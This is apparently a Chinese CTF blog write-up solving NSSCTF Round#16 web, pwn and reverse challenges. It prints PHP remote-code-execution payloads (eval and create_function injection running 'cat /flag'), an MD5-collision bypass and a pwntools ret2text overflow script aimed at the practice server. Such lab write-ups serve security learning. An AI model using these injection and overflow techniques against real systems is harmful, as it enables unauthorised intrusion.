目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. RCE但是没有完全RCE
    2. 2.2. 了解过PHP特性吗
  3. 3. Pwn
    1. 3.1. nc_pwnre
    2. 3.2. ret_text
  4. 4. Reverse
    1. 4.1. test your Debugger
    2. 4.2. CompileMe!!!(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NSSCTF Round#16

2024/1/13 CTF线上赛 NSS
  |     |   总文章阅读量:

前言

挺简单的这次round赛,除了流量分析,misc会不了一点

Web

RCE但是没有完全RCE

md5+rce

<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您!!!!!那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法????";
    }
} else {
    echo "来做做熟悉的MD5~";
} 

第一个md5强比较,第二个好像设计得有问题,随便输就行了

payload:

?md5_1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&md5_2=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
    
md5_3=0e215962017

得到3z_RC3.php

<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
    die("Hacker!!!!!!!!");
}
eval($shell($cmd)); 

flag在/flag

第四次遇到这个格式了,随便打

payload:

不知道为什么直接show_source失败了,那就带出参数

/3z_RC3.php?cmd=system($_POST[1]);

shell=urldecode&1=cat /flag

了解过PHP特性吗

php特性

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

第一个用preg_match数组绕过就行

第二个里面一个参数用ctype_alpha做纯字符检测,另一个参数用纯数字检测,md5弱比较

第三个用科学计数法和弱比较就行了

第四个参考HNCTF2022 Fun-php

payload1:

?num[]=1&114=1e9
    
ctype=OZDCKNQ&is_num=807016042&514=99999999a&arr4y[]=

Rc3_function.php

<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
}

create_function不多说了

payload:

nss=2;}system('cat /flag');/*&shell=

Pwn

nc_pwnre

汇编审计+异或

nc连上靶机,给了个汇编代码

pwn? re?no no no,this is just an easy nc-test.

loc_40116D:
mov     eax, [ebp+i]
add     eax, 1
mov     [ebp+i], eax
loc_401176:
mov     ecx, [ebp+Str]
push    ecx
call    _strlen
add     esp, 4
cmp     [ebp+i], eax
jge     short loc_40119D
mov     edx, [ebp+Str]
add     edx, [ebp+i]
movsx   eax, byte ptr [edx]
xor     eax, 10h
mov     ecx, [ebp+Str]
add     ecx, [ebp+i]
mov     [ecx], al
jmp     short loc_40116D
maybe the result is talking about xor?
My result:
0x44,0x7c,0x5e,0x44,0x41,0x21,0x42,0x57,0x75,0x21,0x74,0x56,0x44,0x57,0x5d,0x67,0x44,0x46,0x29,0x45,0x5d,0x56,0x29,0x67,0x46,0x22,0x25,0x76,0x74,0x6a,0x52,0x69,0x5d,0x47,0x41,0x78,0x76,0x41,0x2d,0x2d

一眼xor异或,那就是把结果和0x10异或回去即可

exp:

result = [0x44, 0x7c, 0x5e, 0x44, 0x41, 0x21, 0x42, 0x57, 0x75, 0x21, 0x74, 0x56, 0x44, 0x57, 0x5d, 0x67, 0x44, 0x46, 0x29, 0x45, 0x5d, 0x56, 0x29, 0x67, 0x46, 0x22, 0x25, 0x76, 0x74, 0x6a, 0x52, 0x69, 0x5d, 0x47, 0x41, 0x78, 0x76, 0x41, 0x2d, 0x2d]

res = ""
for i in range(len(result)):
    char = result[i] ^ 0x10
    res += chr(char)

print(res)

得到的结果base64解码一下得到NSSCTF{WELc0M_T0_pWn_w0r1d!},输入进去

然后就getshell了

image-20240113150010339


ret_text

整型溢出+ret2text

32位程序

int vulnerable()
{
  char buf[20]; // [esp+8h] [ebp-20h] BYREF
  int v2; // [esp+1Ch] [ebp-Ch] BYREF

  v2 = 0;
  puts("Easy ret2text!!!Input:");
  __isoc99_scanf("%d", &v2);
  if ( v2 < 0 && (v2 = -v2, v2 < 0) )
  {
    puts("OK!!!You are right.");
    read(0, buf, 0x32u);
  }
  else
  {
    puts("Try again!!!");
  }
  return 0;
}

首先是要输入v2使v2 < 0 && (v2 = -v2, v2 < 0),一眼整型溢出

32位下范围-2147483648 ~ 2147483647

那么v2就为-2147483648

接下来打ret2text

偏移量0x20 + 0x4

image-20240113154517972

进入地址0x0804932C

exp:

from pwn import *

p = remote("node7.anna.nssctf.cn", "28706")

offset = 0x20+0x4
get_flag_addr = 0x0804932C
payload = offset * b'a' + p32(get_flag_addr)
p.recv()
p.sendline(b'-2147483648')
p.recv()
p.sendline(payload)
p.interactive()

Reverse

test your Debugger

exe动调

给了个exe,告诉我们要动调,ida动调exe参考:https://blog.csdn.net/m0_51713041/article/details/112414254

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  __int64 i; // rax
  char v6[152]; // [rsp+20h] [rbp-98h] BYREF

  _main(argc, argv, envp);
  if ( !IsDebuggerPresent() )
  {
    printf("No debugger detected, try another way!\n");
    system("pause");
    exit(0);
  }
  v3 = 0i64;
  printf("Nice work!!!");
  printf("\nInput your flag:\n");
  scanf("%s", v6);
  do
  {
    v6[v3 + 64] = GetNum(v3);
    ++v3;
  }
  while ( v3 != 44 );
  printf("-> BreakPoint Here <-");
  for ( i = 0i64; i != 44; ++i )
  {
    if ( v6[i + 64] != v6[i] )
    {
      printf("\nWrong!\n");
      goto LABEL_9;
    }
  }
  printf("\nYep! u are right!\n");
LABEL_9:
  system("pause");
  return 0;
}

给了我们一个下断点的位置,打上断点,然后f9运行程序

随便输点什么

f8跟进到cmp比较这里

image-20240113153620854

看一下rsi寄存器这里

image-20240113153718353

找到flag:NSSCTF{44d52a77-92ea-413e-98c4-ff5846fd387d}


CompileMe!!!(复现)

c#编译

先配个c#环境,教程:https://dotnet.microsoft.com/zh-cn/learn/dotnet/hello-world-tutorial/install

然后尝试把附件直接编译,报了个貌似是线程池炸了的错

赛后出题人说1w多个类的话编译器会栈溢出

所以我们需要把这1w多个类归并到1个类里面

我是手动用正则替换整理完的,然后用gpt帮我修一下细节

//NET8.0
using System;
using System.Text;

namespace NSSCTF
{
    internal class Program
    {
        static void Main(string[] args)
        {
            var _ = new ulong[]
            {
                0x57656c636f6d6520,
                0x746f204e53534354,
                0x4620526f756e6423,
                0x3136204261736963
            };
            var __ = new ulong[]
            {
                0xc60b34b2bff9d34a,
                0xf50af3aa8fd96c6b,
                0x680ed11f0c05c4f1,
                0x6e83b0a4aaf7c1a3,
                0xd69b3d568695c3c5,
                0xa88f4ff50a351da2,
                0x5cfa195968e1bb5b,
                0xc4168018d92196d9
            };
            const ulong ___ = 0x9E3779B9;
            var ____ = Enumerable
                .Range(0, 32)
                .Select(______ => ___ * (32 - (uint)______))
                .ToArray();
            var _____ = __.Select((_______, ________) => new { Value = _______, Index = ________ })
                .GroupBy(____________ => ____________.Index / 2)
                .Select(___________ =>
                {
                    ulong _________ = ___________.ElementAt(0).Value;
                    ulong __________ = ___________.ElementAt(1).Value;
                    ulong _____________ = ___ * 32;
                    ____.ToList()
                        .ForEach(_____________________ =>
                        {
                            __________ -=
                                (((_________ << 4) ^ (_________ >> 5)) + _________)
                                ^ (_____________ + _[(_____________ >> 11) & 3]);
                            _____________ -= ___;
                            _________ -=
                                (((__________ << 4) ^ (__________ >> 5)) + __________)
                                ^ (_____________ + _[_____________ & 3]);
                        });
                    return new[] { _________, __________ };
                })
                .SelectMany(______________ => ______________)
                .ToArray();
            Array.Copy(_____, __, __.Length);
            __.SelectMany(
                    _______________ =>
                        BitConverter.GetBytes(new A(_______________).GetVal()).Reverse()
                )
                .ToList()
                .ForEach(
                    ________________ =>
                        Console.Write(Encoding.ASCII.GetString(new[] { ________________ }))
                );
            //Output: NSSCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
            //Try to compile me!!!
        }
    }

    abstract class _
    {
        protected ulong val;

        public _(ulong val)
        {
            this.val = val;
        }

        public abstract ulong GetVal();
    }

    class A : _
    {
        public A(ulong val)
            : base(val) { }

        public override ulong GetVal()
        {
            val = val + 0x79013C0BD7467DC;
            val = val - 0x78D23D50E23FC98;
            ...
            val = val ^ 0x7C11B919EB627F7;
            val = val + 0x413FD584E295889;
            return val;
        }
    }
}

这样子就可以编译了

image-20240113181145859

flag:NSSCTF{58MtU4iTx4uKu8PVHEYyY9a7tZ0daqVIfJVV9kpMRZ7uvDGYHRuJ58Mz}